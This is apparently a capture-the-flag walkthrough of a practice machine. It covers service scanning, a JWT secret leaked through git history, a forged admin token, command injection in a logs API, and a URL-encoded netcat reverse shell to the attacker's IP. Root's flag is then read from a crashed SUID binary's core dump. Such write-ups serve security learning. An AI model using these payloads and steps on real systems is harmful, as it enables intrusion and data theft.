Enumeration

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci

80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    syn-ack Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
api                     [Status: 200, Size: 93, Words: 12, Lines: 1]
assets                  [Status: 301, Size: 179, Words: 7, Lines: 11]
download                [Status: 301, Size: 183, Words: 7, Lines: 11]
docs                    [Status: 200, Size: 0, Words: 1, Lines: 1]

Just a web and ssh server…so let’s visit the website and see what we can find we can read docs about an api and download their source code..lol ok There is a git repository in the source code folder…gitTools can extract everything

git show on initial commit (use git log first to see all commits)

git show 55fe756a29268f9b4e786ae468952ca4a8df1bd8
commit 55fe756a29268f9b4e786ae468952ca4a8df1bd8
Author: dasithsv <dasithsv@gmail.com>
Date: Fri Sep 3 11:25:52 2021 +0530

first commit

diff --git a/.env b/.env
new file mode 100644
index 0000000..fb6f587
--- /dev/null
+++ b/.env
@@ -0,0 +1,2 @@
+DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
+TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
diff --git a/.env.swp b/.env.swp
...

we can see a secret token here

auth.js show a 'register' endpoint of API

curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120/api/user/register --data '{"test": "test"}'

And the response was

- Connection #0 to host 10.10.11.120 left intact
  "name" is required

Analyzig the code we see it requires a name, email and password

    //create a user
    const user = new User({
        name: req.body.name,
        email: req.body.email,
        password:hashPaswrod
    });

so lets create one

curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120/api/user/register --data '{"name": "nairolf","email":"nairolf@mail.com","password":"nairolf"}'

which works fine

Connection #0 to host 10.10.11.120 left intact
{"user":"nairolf"}

lets login

curl -X POST -H 'Content-Type: application/json' -v http://10.10.11.120/api/user/login --data '{"email":"nairolf@mail.com","password":"nairolf"}'

Connection #0 to host 10.10.11.120 left intact
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoibmFpcm9sZiIsImVtYWlsIjoibmFpcm9sZkBtYWlsLmNvbSIsImlhdCI6MTYzNjcyNTc0OX0.ey0C8-YyWb6Ke5ZjsjkxJlIMCsjzyAaU7ELI3GosBWA

we get a token…a jwt token, in the verifytoken.js it goes in the header to access /priv route (priv.js)

curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoibmFpcm9sZiIsImVtYWlsIjoibmFpcm9sZkBtYWlsLmNvbSIsImlhdCI6MTYzNjcyNTc0OX0.ey0C8-YyWb6Ke5ZjsjkxJlIMCsjzyAaU7ELI3GosBWA'
{"role":{"role":"you are normal user","desc":"nairolf"}}

oh okay..normal user, that’s offensive I demand to see the manager (*karen’s noises)

In private.js you see how admin token is given

    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin",
                username:"theadmin",
                desc : "welcome back admin,"
            }

pretty simple…we just have to be "theadmin"

we analyze the token with jwt_tool

python jwt_tool.py ...the_long_token_goes_here...

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] \_id = "618e73d81433dd045a64902b"
[+] name = "nairolf"
[+] email = "nairolf@mail.com"
[+] iat = 1636725749 ==> TIMESTAMP = 2021-11-12 15:02:29 (UTC)

---

JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore

---

we can also forge ours from that

python jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoibmFpcm9sZiIsImVtYWlsIjoibmFpcm9sZkBtYWlsLmNvbSIsImlhdCI6MTYzNjcyNTc0OX0.ey0C8-YyWb6Ke5ZjsjkxJlIMCsjzyAaU7ELI3GosBWA

Basically we inject in our jwt-token, username “theadmin”, secret token as password, with signature hs256 that we identified in jwt_tool

jwttool_2e65191b6ac8e06c39c25251292b9a05 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im5haXJvbGZAbWFpbC5jb20iLCJpYXQiOjE2MzY3MjU3NDl9.kbtZV2Fwg29cQVysZAG-szxpwZiRPBTAIlKAnf40svA

We use the crafted token to login

curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im5haXJvbGZAbWFpbC5jb20iLCJpYXQiOjE2MzY3MjU3NDl9.kbtZV2Fwg29cQVysZAG-szxpwZiRPBTAIlKAnf40svA'

{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Now we are admin…in private.js there was a /logs route only accessible when logged as admin

it takes a file parameter

curl http://10.10.11.120/api/logs?file=/etc/passwd -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im5haXJvbGZAbWFpbC5jb20iLCJpYXQiOjE2MzY3MjU3NDl9.kbtZV2Fwg29cQVysZAG-szxpwZiRPBTAIlKAnf40svA' {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}

From the error we understand it takes commands

we can enclose that to do our command injection after file=;

curl 'http://10.10.11.120/api/logs?file=;id' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im5haXJvbGZAbWFpbC5jb20iLCJpYXQiOjE2MzY3MjU3NDl9.kbtZV2Fwg29cQVysZAG-szxpwZiRPBTAIlKAnf40svA'

"80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\nuid=1000(dasith) gid=1000(dasith) groups=1000(dasith)\n"

so we can add a netcat shell there

And…we have to url-encode it (AS URL COMPONENT)

curl 'http://10.10.11.120/api/logs?file=;rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.81%202311%20%3E%2Ftmp%2Ff' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MThlNzNkODE0MzNkZDA0NWE2NDkwMmIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6Im5haXJvbGZAbWFpbC5jb20iLCJpYXQiOjE2MzY3MjU3NDl9.kbtZV2Fwg29cQVysZAG-szxpwZiRPBTAIlKAnf40svA'

Then we are in

uid=1000(dasith) gid=1000(dasith) groups=1000(dasith)

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

FLAG ONE

$ cat user.txt

Privilege Escalation

sudo -l doesnt work…we need creds

Next move if finding SUID binaries

$ find / -type f -perm -u=s 2>/dev/null

/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/snapd/snap-confine
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/opt/count
/snap/snapd/13640/usr/lib/snapd/snap-confine
/snap/snapd/13170/usr/lib/snapd/snap-confine
/snap/core20/1169/usr/bin/chfn
/snap/core20/1169/usr/bin/chsh
/snap/core20/1169/usr/bin/gpasswd
/snap/core20/1169/usr/bin/mount
/snap/core20/1169/usr/bin/newgrp
/snap/core20/1169/usr/bin/passwd
/snap/core20/1169/usr/bin/su
/snap/core20/1169/usr/bin/sudo
/snap/core20/1169/usr/bin/umount
/snap/core20/1169/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1169/usr/lib/openssh/ssh-keysign
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/core18/1944/bin/mount
/snap/core18/1944/bin/ping
/snap/core18/1944/bin/su
/snap/core18/1944/bin/umount
/snap/core18/1944/usr/bin/chfn
/snap/core18/1944/usr/bin/chsh
/snap/core18/1944/usr/bin/gpasswd
/snap/core18/1944/usr/bin/newgrp
/snap/core18/1944/usr/bin/passwd
/snap/core18/1944/usr/bin/sudo
/snap/core18/1944/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1944/usr/lib/openssh/ssh-keysign

what is /opt/count??

dasith@secret:/opt$ ls
code.c
count
valgrind.log

ok lets look at code.c

$ cat /opt/code.c

I copied the code output in a file with same name for readability Basically its just a program to count directories and files… Note this privesc was a true nightmare XD…after hours of suffering I just went to google a helping writeup/forum

A guy was able to read root.txt by crashing the binary and reading its dump strings sounds kinda complex workaround…we need two shells so we run our curl payload again on another port (4444) In shell 1: we run the SUID binary

$ cd /opt
$ ./count -p
/root/root.txt
y

I wait before pressing ’enter’ and go to shell 2:

$ ps -aux | grep count
root 841 0.0 0.1 235668 7428 ? Ssl 16:11 0:00 /usr/lib/accountsservice/accounts-daemon
dasith 1394 0.0 0.0 2488 520 ? S 16:24 0:00 ./count -p
dasith 1680 0.0 0.0 6432 672 ? S 16:25 0:00 grep count

I prepare my kill command and to shell 1 I run the counter

$ kill -BUS 1394

Mid-running I crash the bus and back to shell 1 I get a response

Bus error (core dumped)

we then go look for the dumps

$ cd /var/crash
$ ls
\_opt_count.0.crash
\_opt_count.1000.crash
\_opt_countzz.0.crash

we unpack count.1000 in a temporary folder

$ mkdir /tmp/crashlogs
$ apport-unpack \_opt_count.1000.crash /tmp/crashlogs

we go get our logs

$ cd /tmp/crashlogs
$ ls
Architecture
CoreDump
Date
DistroRelease
ExecutablePath
ExecutableTimestamp
ProblemType
ProcCmdline
ProcCwd
ProcEnviron
ProcMaps
ProcStatus
Signal
Uname
UserGroups

we can only read the strings of CoreDump so cat isnt useful here

$ strings CoreDump

...
Enter source file/directory name:
Total characters = 33
Total words = 2
Total lines = 2
Save results a file? [y/N]: Path:
oot/root.txt
Here_you_can_see_root_txt_content
aliases
...

Now let’s think about all this…we couldn’t get a root shell here… it was more a workaround to get the root flag.

This is definitely not an easy machine…maybe medium… not too hard too but NOT EASY. seems like we can access dasith ssh keys…But I could not crack it yet… We technically do not own this machine so keep exploring for ways to get root.